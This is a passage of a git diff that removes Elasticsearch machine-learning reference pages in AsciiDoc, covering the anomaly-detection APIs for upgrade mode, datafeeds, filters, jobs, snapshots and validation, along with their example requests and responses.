-    "latest_record_time_stamp" : 1576971072000,
-    "latest_result_time_stamp" : 1576965600000,
-    "retain" : false
-  }
-}
-----
-
-For a description of these properties, see the 
-<<ml-get-snapshot-results,get model snapshots API>>.
diff --git a/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc b/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc
deleted file mode 100644
index 07f39f6c6a6..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc
+++ /dev/null
@@ -1,98 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-set-upgrade-mode]]
-= Set upgrade mode API
-++++
-<titleabbrev>Set upgrade mode</titleabbrev>
-++++
-
-Sets a cluster wide upgrade_mode setting that prepares {ml} indices for an
-upgrade. 
-
-[[ml-set-upgrade-mode-request]]
-== {api-request-title}
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /_ml/set_upgrade_mode?enabled=false&timeout=10m
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-
-`POST _ml/set_upgrade_mode`
-
-[[ml-set-upgrade-mode-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-set-upgrade-mode-desc]]
-== {api-description-title}
-
-When upgrading your cluster, in some circumstances you must restart your nodes and
-reindex your {ml} indices. In those circumstances, there must be no {ml} jobs running. 
-You can close the {ml} jobs, do the upgrade, then open all the jobs again. 
-Alternatively, you can use this API to temporarily halt tasks associated 
-with the jobs and {dfeeds} and prevent new jobs from opening. You can also use this 
-API during upgrades that do not require you to reindex your {ml} indices, 
-though stopping jobs is not a requirement in that case.
-
-For more information, see {stack-ref}/upgrading-elastic-stack.html[Upgrading the {stack}].
-
-When `enabled=true` this API temporarily halts all job and {dfeed} tasks and
-prohibits new job and {dfeed} tasks from starting.
-
-Subsequently, you can call the API with the enabled parameter set to false,
-which causes {ml} jobs and {dfeeds} to return to their desired states.
-
-You can see the current value for the `upgrade_mode` setting by using the
-<<get-ml-info,get {ml} info API>>.
-
-IMPORTANT:  No new {ml} jobs can be opened while the `upgrade_mode` setting is
-`true`.
-
-[[ml-set-upgrade-mode-query-parms]]
-== {api-query-parms-title}
-
-`enabled`::
-  (Optional, Boolean) When `true`, this enables `upgrade_mode`. Defaults to
-  `false`.
-
-`timeout`::
-  (Optional, time) The time to wait for the request to be completed. The default
-  value is 30 seconds.
-
-[[ml-set-upgrade-mode-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=true&timeout=10m
---------------------------------------------------
-
-When the call is successful, an acknowledged response is returned. For example:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
-
-The acknowledged response will only be returned once all {ml} jobs and {dfeeds} have
-finished writing to the {ml} internal indices. This means it is safe to reindex those
-internal indices without causing failures. You must wait for the acknowledged
-response before reindexing to ensure that all writes are completed.
-
-When the upgrade is complete, you must set `upgrade_mode` to `false` for
-{ml} jobs to start running again. For example:
-
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=false&timeout=10m
---------------------------------------------------
diff --git a/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc
deleted file mode 100644
index 5bc306b0fc7..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc
+++ /dev/null
@@ -1,129 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-start-datafeed]]
-= Start {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Start {dfeeds}</titleabbrev>
-++++
-
-Starts one or more {dfeeds}.
-
-[[ml-start-datafeed-request]]
-== {api-request-title}
-
-`POST _ml/datafeeds/<feed_id>/_start`
-
-[[ml-start-datafeed-prereqs]]
-== {api-prereq-title}
-
-* Before you can start a {dfeed}, the {anomaly-job} must be open. Otherwise, an
-error occurs.
-* If {es} {security-features} are enabled, you must have `manage_ml` or `manage`
-cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-start-datafeed-desc]]
-== {api-description-title}
-
-A {dfeed} must be started in order to retrieve data from {es}.
-A {dfeed} can be started and stopped multiple times throughout its lifecycle.
-
-When you start a {dfeed}, you can specify a start time.  This enables you to
-include a training period, providing you have this data available in {es}.
-If you want to analyze from the beginning of a dataset, you can specify any date
-earlier than that beginning date.
-
-If you do not specify a start time and the {dfeed} is associated with a new
-{anomaly-job}, the analysis starts from the earliest time for which data is
-available.
-
-When you start a {dfeed}, you can also specify an end time. If you do so, the
-job analyzes data from the start time until the end time, at which point the
-analysis stops.  This scenario is useful for a one-off batch analysis.  If you
-do not specify an end time, the {dfeed} runs continuously.
-
-The `start` and `end` times can be specified by using one of the
-following formats: +
-
-- ISO 8601 format with milliseconds, for example `2017-01-22T06:00:00.000Z`
-- ISO 8601 format without milliseconds, for example `2017-01-22T06:00:00+00:00`
-- Milliseconds since the epoch, for example `1485061200000`
-
-Date-time arguments using either of the ISO 8601 formats must have a time zone
-designator, where Z is accepted as an abbreviation for UTC time.
-
-NOTE: When a URL is expected (for example, in browsers), the `+` used in time
-zone designators must be encoded as `%2B`.
-
-If the system restarts, any jobs that had {dfeeds} running are also restarted.
-
-When a stopped {dfeed} is restarted, it continues processing input data from
-the next millisecond after it was stopped. If new data was indexed for that
-exact millisecond between stopping and starting, it will be ignored.
-If you specify a `start` value that is earlier than the timestamp of the latest
-processed record, the {dfeed} continues from 1 millisecond after the timestamp
-of the latest processed record.
-
-IMPORTANT: When {es} {security-features} are enabled, your {dfeed} remembers
-which roles the last user to create or update it had at the time of
-creation/update and runs the query using those same roles. If you provided
-<<http-clients-secondary-authorization,secondary authorization headers>> when
-you created or updated the {dfeed}, those credentials are used instead.
-
-[[ml-start-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-[[ml-start-datafeed-request-body]]
-== {api-request-body-title}
-
-`end`::
-  (Optional, string) The time that the {dfeed} should end. This value is
-  exclusive. The default value is an empty string.
-
-`start`::
-  (Optional, string) The time that the {dfeed} should begin. This value is
-  inclusive. The default value is an empty string.
-
-`timeout`::
-  (Optional, time) Controls the amount of time to wait until a {dfeed} starts.
-  The default value is 20 seconds.
-
-[[ml-start-datafeed-response-body]]
-== {api-response-body-title}
-
-`node`::
-  (string) The ID of the node that the {dfeed} was started on.
-If the {dfeed} is allowed to open lazily and has not yet been
-  assigned to a node, this value is an empty string.
-
-`started`::
-  (Boolean) For a successful response, this value is always `true`. On failure, an
-  exception is returned instead.
-
-[[ml-start-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-total-requests/_start
-{
-  "start": "2017-04-07T18:22:16Z"
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_openjob]
-
-When the {dfeed} starts, you receive the following results:
-
-[source,console-result]
-----
-{
-  "started" : true,
-  "node" : "node-1"
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc
deleted file mode 100644
index 716010c01e9..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-stop-datafeed]]
-= Stop {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Stop {dfeeds}</titleabbrev>
-++++
-
-Stops one or more {dfeeds}.
-
-[[ml-stop-datafeed-request]]
-== {api-request-title}
-
-`POST _ml/datafeeds/<feed_id>/_stop` +
-
-`POST _ml/datafeeds/<feed_id>,<feed_id>/_stop` +
-
-`POST _ml/datafeeds/_all/_stop`
-
-[[ml-stop-datafeed-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-stop-datafeed-desc]]
-== {api-description-title}
-
-A {dfeed} that is stopped ceases to retrieve data from {es}.
-A {dfeed} can be started and stopped multiple times throughout its lifecycle.
-
-You can stop multiple {dfeeds} in a single API request by using a
-comma-separated list of {dfeeds} or a wildcard expression. You can close all
-{dfeeds} by using `_all` or by specifying `*` as the `<feed_id>`.
-
-[[ml-stop-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id-wildcard]
-
-[[ml-stop-datafeed-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-datafeeds]
-
-[[ml-stop-datafeed-request-body]]
-== {api-request-body-title}
-
-`force`::
-  (Optional, Boolean) If true, the {dfeed} is stopped forcefully.
-
-`timeout`::
-  (Optional, time) Controls the amount of time to wait until a {dfeed} stops.
-  The default value is 20 seconds.
-
-[[ml-stop-datafeed-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.
-
-[[ml-stop-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-total-requests/_stop
-{
-  "timeout": "30s"
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_startdf]
-
-When the {dfeed} stops, you receive the following results:
-
-[source,console-result]
-----
-{
-  "stopped": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc
deleted file mode 100644
index 6f42c2a2358..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc
+++ /dev/null
@@ -1,152 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-update-datafeed]]
-= Update {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Update {dfeeds}</titleabbrev>
-++++
-
-Updates certain properties of a {dfeed}.
-
-
-[[ml-update-datafeed-request]]
-== {api-request-title}
-
-`POST _ml/datafeeds/<feed_id>/_update`
-
-
-[[ml-update-datafeed-prereqs]]
-== {api-prereq-title}
-
-* If {es} {security-features} are enabled, you must have `manage_ml`, or `manage`
-cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[ml-update-datafeed-desc]]
-== {api-description-title}
-
-If you update a {dfeed} property, you must stop and start the {dfeed} for the 
-change to be applied.
-
-IMPORTANT: When {es} {security-features} are enabled, your {dfeed} remembers
-which roles the user who updated it had at the time of update and runs the query
-using those same roles. If you provide
-<<http-clients-secondary-authorization,secondary authorization headers>>, those
-credentials are used instead.
-
-[[ml-update-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-[role="child_attributes"]
-[[ml-update-datafeed-request-body]]
-== {api-request-body-title}
-
-The following properties can be updated after the {dfeed} is created:
-
-`aggregations`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=aggregations]
-
-`chunking_config`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=chunking-config]
-  
-`delayed_data_check_config`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=delayed-data-check-config]
-
-`frequency`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=frequency]
-
-`indices`::
-(Optional, array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices]
-
-`max_empty_searches`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-empty-searches]
-+
---
-The special value `-1` unsets this setting.
---
-
-`query`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query]
-+
---
-WARNING: If you change the query, the analyzed data is also changed. Therefore,
-the required time to learn might be long and the understandability of the
-results is unpredictable. If you want to make significant changes to the source
-data, we would recommend you clone it and create a second job containing the
-amendments. Let both run in parallel and close one when you are satisfied with
-the results of the other job.
-
---
-
-`query_delay`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query-delay]
-
-`script_fields`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=script-fields]
-
-`scroll_size`::
-(Optional, unsigned integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=scroll-size]
-
-`indices_options`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices-options]
-
-[[ml-update-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-total-requests/_update
-{
-  "query": {
-    "term": {
-      "level": "error"
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_datafeed]
-
-
-When the {dfeed} is updated, you receive the full {dfeed} configuration with
-with the updated values:
-
-[source,console-result]
-----
-{
-  "datafeed_id": "datafeed-total-requests",
-  "job_id": "total-requests",
-  "query_delay": "83474ms",
-  "indices": ["server-metrics"],
-  "query": {
-    "term": {
-      "level": {
-        "value": "error",
-        "boost": 1.0
-      }
-    }
-  },
-  "scroll_size": 1000,
-  "chunking_config": {
-    "mode": "auto"
-  }
-}
-----
-// TESTRESPONSE[s/"query.boost": "1.0"/"query.boost": $body.query.boost/]
diff --git a/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc
deleted file mode 100644
index 51f9452e450..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-update-filter]]
-= Update filters API
-++++
-<titleabbrev>Update filters</titleabbrev>
-++++
-
-Updates the description of a filter, adds items, or removes items. 
-
-[[ml-update-filter-request]]
-== {api-request-title}
-
-`POST _ml/filters/<filter_id>/_update`
-
-[[ml-update-filter-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-update-filter-path-parms]]
-== {api-path-parms-title}
-
-`<filter_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=filter-id]
-
-[[ml-update-filter-request-body]]
-== {api-request-body-title}
-
-`add_items`::
-  (Optional, array of strings) The items to add to the filter.
-
-`description`::
-  (Optional, string) A description for the filter.
-	
-`remove_items`::
-  (Optional, array of strings) The items to remove from the filter.
-
-[[ml-update-filter-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/filters/safe_domains/_update
-{
-  "description": "Updated list of domains",
-  "add_items": ["*.myorg.com"],
-  "remove_items": ["wikipedia.org"]
-}
---------------------------------------------------
-// TEST[skip:setup:ml_filter_safe_domains]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "filter_id": "safe_domains",
-  "description": "Updated list of domains",
-  "items": ["*.google.com", "*.myorg.com"]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc
deleted file mode 100644
index 74d73cae8c0..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc
+++ /dev/null
@@ -1,287 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-update-job]]
-= Update {anomaly-jobs} API
-++++
-<titleabbrev>Update jobs</titleabbrev>
-++++
-
-Updates certain properties of an {anomaly-job}.
-
-[[ml-update-job-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/_update`
-
-[[ml-update-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[ml-update-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[role="child_attributes"]
-[[ml-update-job-request-body]]
-== {api-request-body-title}
-
-The following properties can be updated after the job is created:
-
-`allow_lazy_open`::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-lazy-open]
-+
---
-NOTE: If the job is open when you make the update, you must stop the {dfeed},
-close the job, then reopen the job and restart the {dfeed} for the changes to take effect.
-
---
-//Begin analysis_limits
-[[update-analysislimits]]`analysis_limits`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=analysis-limits]
-+
-.Properties of `analysis_limits`
-[%collapsible%open]
-====
-`model_memory_limit`:::
-(long or string) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit]
-+
---
-NOTE: You can update the `analysis_limits` only while the job is closed. The 
-`model_memory_limit` property value cannot be decreased below the current usage.
- 
-TIP: If the `memory_status` property in the
-<<ml-get-snapshot-results,`model_size_stats` object>> has a value of 
-`hard_limit`, this means that it was unable to process some data. You might want 
-to re-run the job with an increased `model_memory_limit`.
-
---
-====
-//End analysis_limits
-
-`background_persist_interval`::
-(<<time-units,time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=background-persist-interval]
-+
---
-NOTE: If the job is open when you make the update, you must stop the {dfeed},
-close the job, then reopen the job and restart the {dfeed} for the changes to take effect.
-
---
-
-[[update-customsettings]]`custom_settings`::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-settings]
-
-`daily_model_snapshot_retention_after_days`::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=daily-model-snapshot-retention-after-days]
-
-`description`::
-(string) A description of the job.
-
-//Begin detectors
-`detectors`::
-(array) An array of detector update objects.
-+
-.Properties of `detectors`
-[%collapsible%open]
-====
-
-//Begin detectors.custom_rules
-`custom_rules`:::
-(array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules]
-+
-.Properties of `custom_rules`
-[%collapsible%open]
-=====
-
-`actions`:::
-(array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-actions]
-
-// Begin detectors.custom_rules.conditions
-`conditions`:::
-(array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions]
-+
-.Properties of `conditions`
-[%collapsible%open]
-======
-
-`applies_to`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions-applies-to]
-
-`operator`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions-operator]
-
-`value`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions-value]
-======
-//End detectors.custom_rules.conditions
-
-//Begin detectors.custom_rules.scope
-`scope`:::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-scope]
-+
-.Properties of `scope`
-[%collapsible%open]
-======
-`filter_id`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-scope-filter-id]
-
-`filter_type`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-scope-filter-type]
-======
-//End detectors.custom_rules.scope
-=====
-//End detectors.custom_rules
-
-`description`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=detector-description]
-
-`detector_index`:::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=detector-index]
-+
---
-If you want to update a specific detector, you must use this identifier. You
-cannot, however, change the `detector_index` value for a detector.
---
-====
-//End detectors
-
-`groups`::
-(array of strings)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=groups]
-
-//Begin model_plot_config
-`model_plot_config`::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config]
-+
-.Properties of `model_plot_config`
-[%collapsible%open]
-====
-`annotations_enabled`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config-annotations-enabled]
-
-`enabled`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config-enabled]
-
-`terms`:::
-experimental[] (string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config-terms]
-====
-//End model_plot_config
-
-`model_snapshot_retention_days`::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-snapshot-retention-days]
-
-//Begin per_partition_categorization
-`per_partition_categorization`:::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=per-partition-categorization]
-+
-.Properties of `per_partition_categorization`
-[%collapsible%open]
-====
-`enabled`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=per-partition-categorization-enabled]
-
-`stop_on_warn`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=per-partition-categorization-stop-on-warn]
-====
-//End per_partition_categorization
-
-`renormalization_window_days`::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=renormalization-window-days]
-+
---
-NOTE: If the job is open when you make the update, you must stop the {dfeed},
-close the job, then reopen the job and restart the {dfeed} for the changes to take effect.
-
---
-`results_retention_days`::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=results-retention-days]
-
-
-[[ml-update-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/low_request_rate/_update
-{
-  "description":"An updated job",
-  "detectors": {
-    "detector_index": 0,
-    "description": "An updated detector description"
-  },
-  "groups": ["kibana_sample_data","kibana_sample_web_logs"],
-  "model_plot_config": {
-    "enabled": true
-  },
-  "renormalization_window_days": 30,
-  "background_persist_interval": "2h",
-  "model_snapshot_retention_days": 7,
-  "results_retention_days": 60
-}
---------------------------------------------------
-// TEST[skip:setup:Kibana sample data]
-
-When the {anomaly-job} is updated, you receive a summary of the job
-configuration information, including the updated property values. For example:
-
-[source,js]
-----
-{
-  "job_id" : "low_request_rate",
-  "job_type" : "anomaly_detector",
-  "job_version" : "7.5.1",
-  "groups" : [
-    "kibana_sample_data",
-    "kibana_sample_web_logs"
-  ],
-  "description" : "An updated job",
-  "create_time" : 1578101716125,
-  "finished_time" : 1578101721816,
-  "analysis_config" : {
-    "bucket_span" : "1h",
-    "summary_count_field_name" : "doc_count",
-    "detectors" : [
-      {
-        "detector_description" : "An updated detector description",
-        "function" : "low_count",
-        "detector_index" : 0
-      }
-    ],
-    "influencers" : [ ]
-  },
-  ...
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc
deleted file mode 100644
index b637311e718..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc
+++ /dev/null
@@ -1,74 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-update-snapshot]]
-= Update model snapshots API
-++++
-<titleabbrev>Update model snapshots</titleabbrev>
-++++
-
-Updates certain properties of a snapshot.
-
-[[ml-update-snapshot-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/model_snapshots/<snapshot_id>/_update`
-
-[[ml-update-snapshot-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[ml-update-snapshot-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`<snapshot_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=snapshot-id]
-
-[[ml-update-snapshot-request-body]]
-== {api-request-body-title}
-
-The following properties can be updated after the model snapshot is created:
-
-`description`::
-(Optional, string) A description of the model snapshot.
-
-`retain`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=retain]
-
-[[ml-update-snapshot-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST
-_ml/anomaly_detectors/it_ops_new_logs/model_snapshots/1491852978/_update
-{
-  "description": "Snapshot 1",
-  "retain": true
-}
---------------------------------------------------
-// TEST[skip:todo]
-
-When the snapshot is updated, you receive the following results:
-[source,js]
-----
-{
-  "acknowledged": true,
-  "model": {
-    "job_id": "it_ops_new_logs",
-    "timestamp": 1491852978000,
-    "description": "Snapshot 1",
-...
-    "retain": true
-  }
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc b/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc
deleted file mode 100644
index d588bb61d28..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-valid-detector]]
-= Validate detectors API
-++++
-<titleabbrev>Validate detectors</titleabbrev>
-++++
-
-Validates detector configuration information.
-
-[[ml-valid-detector-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/_validate/detector`
-
-[[ml-valid-detector-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-valid-detector-desc]]
-== {api-description-title}
-
-This API enables you to validate the detector configuration
-before you create an {anomaly-job}.
-
-[[ml-valid-detector-request-body]]
-== {api-request-body-title}
-
-For a list of the properties that you can specify in the body of this API,
-see detector configuration objects.
-
-[[ml-valid-detector-example]]
-== {api-examples-title}
-
-The following example validates detector configuration information:
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/_validate/detector
-{
-  "function": "metric",
-  "field_name": "responsetime",
-  "by_field_name": "airline"
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-When the validation completes, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc
deleted file mode 100644
index c522c76b3f5..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-valid-job]]
-= Validate {anomaly-jobs} API
-++++
-<titleabbrev>Validate jobs</titleabbrev>
-++++
-
-Validates {anomaly-job} configuration information.
-
-[[ml-valid-job-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/_validate`
-
-[[ml-valid-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-valid-job-desc]]
-== {api-description-title}
-
-This API enables you to validate the {anomaly-job} configuration before you
-create the job.
-
-[[ml-valid-job-request-body]]
-== {api-request-body-title}
-
-For a list of the properties that you can specify in the body of this API,
-see <<ml-put-job>>.
-
-[[ml-valid-job-example]]
-== {api-examples-title}
-
-The following example validates job configuration information:
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/_validate
-{
-  "description": "Unusual response times by airlines",
-  "analysis_config": {
-    "bucket_span": "300S",
-    "detectors": [
-      {
-        "function": "metric",
-        "field_name": "responsetime",
-        "by_field_name": "airline" } ],
-    "influencers": [ "airline" ]
-  },
-  "data_description": {
-    "time_field": "time",
-    "time_format": "yyyy-MM-dd'T'HH:mm:ssX"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-When the validation is complete, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-count-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-count-functions.asciidoc
deleted file mode 100644
index 277de36aa4b..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-count-functions.asciidoc
+++ /dev/null
@@ -1,286 +0,0 @@
-[role="xpack"]
-[[ml-count-functions]]
-= Count functions
-
-Count functions detect anomalies when the number of events in a bucket is
-anomalous.
-
-Use `non_zero_count` functions if your data is sparse and you want to ignore
-cases where the bucket count is zero.
-
-Use `distinct_count` functions to determine when the number of distinct values
-in one field is unusual, as opposed to the total count.
-
-Use high-sided functions if you want to monitor unusually high event rates.
-Use low-sided functions if you want to look at drops in event rate.
-
-The {ml-features} include the following count functions:
-
-* xref:ml-count[`count`, `high_count`, `low_count`]
-* xref:ml-nonzero-count[`non_zero_count`, `high_non_zero_count`, `low_non_zero_count`]
-* xref:ml-distinct-count[`distinct_count`, `high_distinct_count`, `low_distinct_count`]
-
-[discrete]
-[[ml-count]]
-== Count, high_count, low_count
-
-The `count` function detects anomalies when the number of events in a bucket is
-anomalous.
-
-The `high_count` function detects anomalies when the count of events in a
-bucket are unusually high.
-
-The `low_count` function detects anomalies when the count of events in a
-bucket are unusually low.
-
-These functions support the following properties:
-
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
